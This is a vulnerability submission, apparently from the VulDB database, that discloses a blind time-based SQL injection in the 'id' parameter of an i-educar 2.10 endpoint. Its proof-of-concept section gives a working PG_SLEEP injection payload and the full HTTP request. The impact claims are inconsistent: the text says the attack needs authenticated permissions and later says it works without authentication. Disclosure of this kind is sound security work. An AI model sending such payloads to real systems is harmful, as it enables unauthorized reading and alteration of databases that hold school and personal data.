| Titolo | Portabilis i-educar 2.10 SQL Injection |
|---|
| Descrizione | # SQL Injection (Blind Time-Based) Vulnerability in `id` Parameter on `/module/AreaConhecimento/view` Endpoint
---
## Summary
A SQL Injection vulnerability was identified in the `/module/AreaConhecimento/view` endpoint of the _i-educar_ application, specifically in the `id` parameter. This vulnerability allows attackers to execute arbitrary SQL commands on the backend database, potentially compromising the confidentiality, integrity, and availability of application data.
---
## Details
**Vulnerable Endpoint:** `/module/AreaConhecimento/view`
**Parameter:** `id`
To reach the vulnerable functionality, it is necessary to navigate to:
**Escola > Cadastros > Tipos > Regras de Avaliação > Listagem de áreas de conhecimento**.
![[Pasted image 20250817192322.png]]
Additionally, exploiting this vulnerability requires an account with permissions to **create/list the "Escola" menu**.
The application fails to properly validate and sanitize user input in the `id` parameter. As a result, attackers can inject crafted SQL payloads that are executed directly by the database. This could allow database enumeration, data exfiltration, modification, or denial of service via time-based delays.
---
## PoC
**Payload:**
`'+AND+7097=(SELECT+7097+FROM+PG_SLEEP(5))+AND+'WqeR'='WqeR`
This payload triggers a **5-second delay** in the server response, demonstrating that the parameter is vulnerable to blind time-based SQL injection.
**Example Request:**
```
GET /module/AreaConhecimento/view?id=3'+AND+7097=(SELECT+7097+FROM+PG_SLEEP(5))+AND+'WqeR'='WqeR HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Referer: http://localhost/module/AreaConhecimento/index
Cookie: [COOKIE]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
```
![[Pasted image 20250817192600.png]]
Observe the increased server response time, confirming that the injected SQL command was executed.
---
## Impact
- **Unauthorized data access:** Reading sensitive information such as credentials, personal data, or configuration details
- **Database enumeration:** Extracting database schema, tables, and column details
- **Data manipulation:** Adding, modifying, or deleting database records
- **Denial of Service (DoS):** Using time-based queries to impact system availability
- **Potential escalation to RCE:** If combined with other vulnerabilities and specific database features
This vulnerability affects all users who can interact with the vulnerable parameter, and it can be exploited remotely without prior authentication if the endpoint is exposed.
|
|---|
| Fonte | ⚠️ https://github.com/marcelomulder/CVE/blob/main/i-educar/SQL%20Injection%20(Blind%20Time-Based)%20Vulnerability%20in%20%60id%60%20Parameter%20on%20%60.module.AreaConhecimento.view%60%20Endpoint.md |
|---|
| Utente | marceloQz (UID 87549) |
|---|
| Sottomissione | 20/08/2025 16:32 (10 mesi fa) |
|---|
| Moderazione | 29/08/2025 12:56 (9 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 321897 [Portabilis i-Educar fino a 2.10 Listagem de áreas de conhecimento Page view ID iniezione SQL] |
|---|
| Punti | 20 |
|---|